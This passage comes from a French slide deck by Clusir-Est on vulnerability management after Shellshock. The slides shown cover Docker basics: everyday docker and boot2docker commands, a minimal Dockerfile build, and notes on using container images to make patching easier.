sudo /usr/bin/docker −d & # run the daemonsudo docker search ubuntu # give ubuntu images from public index ( official /trusted )sudo docker pull stackbrew/ubuntu # pull latest stackbrew/ubuntu imagessudo docker history stackbrew/ubuntu # view history for this imagessudo docker images # show local imagessudo docker run −i −t stackbrew/ubuntu /bin/bash # run this images / create containersudo docker run −t −i −link redis :db −name webapp ubuntu bash # link 2 containerssudo docker ps # show active containers (−a to show all containers )sudo docker logs myUbuntusudo docker attach myUbuntu # retake the hand on the containersudo docker run −d −p 8888:80 ubuntu # export 8888 on master

37http://ippon.developpez.com/tutoriels/virtualisation/docker-presentation-part-1/

38http://ippon.developpez.com/tutoriels/virtualisation/docker-presentation-part-2/

39http://sametmax.com/le-deploiement-par-conteneurs-avec-docker/

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 45 / 50

Page 46: Gestion des vulnérabilités dans le cas de Shellshock

Les conteneurs Docker, un complement a ESX, KVM, HyperV,...

Exemple du projet intranet

Intranet :

Utilisation de docker avec l’image dockerfile/nodejs 40 41(ameliorationa prevoir 42)Essai avec une image redis en plus, reste a discuter/imaginer

Code Listing 12– les commandes docker utiles avec boot2docker

boot2docker upboot2docker ssh ”mkdir test ; sudo mount −t vboxsf Documents test”boot2docker ssh ”sudo su −c ’ ulimit −n 16384 && /etc/init.d/docker restart ’ ”export DOCKER\ HOST=tcp://127.0.0.1:2375docker run −−link determined\ nobel:redis −p :3000:3000 −it −v /home/docker/test:/

media:rw −v /var/log:/opt/my/app/log:rw −−dns 192.168.201.150 −−dns192.168.201.140 −−rm dockerfile/nodejs

/media/annuaire/test.shssh −L 8080:127.0.0.1:3000 docker@localhost −p2022#### Annuaire accessible en 8080 !

40https://registry.hub.docker.com/u/dockerfile/nodejs/dockerfile

41http://dockerfile.github.io/#/nodejs

42http://thenewstack.io/examples-of-building-a-node-js-app-with-docker/

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 46 / 50

Page 47: Gestion des vulnérabilités dans le cas de Shellshock

Les conteneurs Docker, un complement a ESX, KVM, HyperV,...

Construire sa propre image 43

Docker propose un systeme de construction base sur des caches afind’optimiser la reconstruction (utile pour le processus de build/test)

Code Listing 13– Dockerfile

FROM debian:wheezyADD README.md /tmp/

Code Listing 14– Execution d’un build Docker

$ docker build −q −t readme .Sending build context to Docker daemon 3.584 kBSending build context to Docker daemonStep 0 : FROM debian:wheezy−−−> e8d37d9e3476

Step 1 : ADD README.md /tmp/−−−> 09eabce38f39

Removing intermediate container 3e44a3b6eabeSuccessfully built 09eabce38f39

43http://www.centurylinklabs.com/more-docker-image-cache-tips

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 47 / 50

Page 48: Gestion des vulnérabilités dans le cas de Shellshock

Les conteneurs Docker, un complement a ESX, KVM, HyperV,...

L’interet pour la gestion des vulnerabilites ?

Si on a son magasin de dockerfile

Il est relativement simple de mettre a jour en cas de vulnerabilites

Interet pour les conteneurs qu’on peut redeployer

Interet pour les futurs conteneurs

Et tester tout cela ! ! !

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 48 / 50

Page 49: Gestion des vulnérabilités dans le cas de Shellshock

Les conteneurs Docker, un complement a ESX, KVM, HyperV,...

Retour d’experience et ressources interessantes

Les +++ :

Prise en main assez rapide

A faire : deployer encore et encore, utilisation mixte avec R&D

Quelques avertissements :

Il faut plus voir un conteneur Docker comme une application quecomme un OS 44

Dans la logique, on ne cree pas de contenu dans le conteneur

44http://blog.docker.com/2014/06/why-you-dont-need-to-run-sshd-in-docker/

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 49 / 50

Page 50: Gestion des vulnérabilités dans le cas de Shellshock

Les conteneurs Docker, un complement a ESX, KVM, HyperV,...

Retour d’experience et ressources interessantes

Les evolutions rapides :

Mettre en place l’index d’images pour le SI et la supervision

Faire des images simples 45 46 et dediees 47 48

Usage en cloud hybrid (Google Container Engine, ...) 49

Outil en fort developpement : signature avec Microsoft, ...

45http://blog.xebia.com/2014/07/04/create-the-smallest-possible-docker-container/

46http://crosbymichael.com/dockerfile-best-practices.html

47https://aresu.dsi.cnrs.fr/spip.php?article202

48http://blog.loof.fr/2014/04/jenkins-meets-docker-round-1.html

49http://googlecloudplatform.blogspot.fr/2014/11/google-cloud-platform-live-introducing-container-engine-cloud-networking-and-much-more.

html

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 50 / 50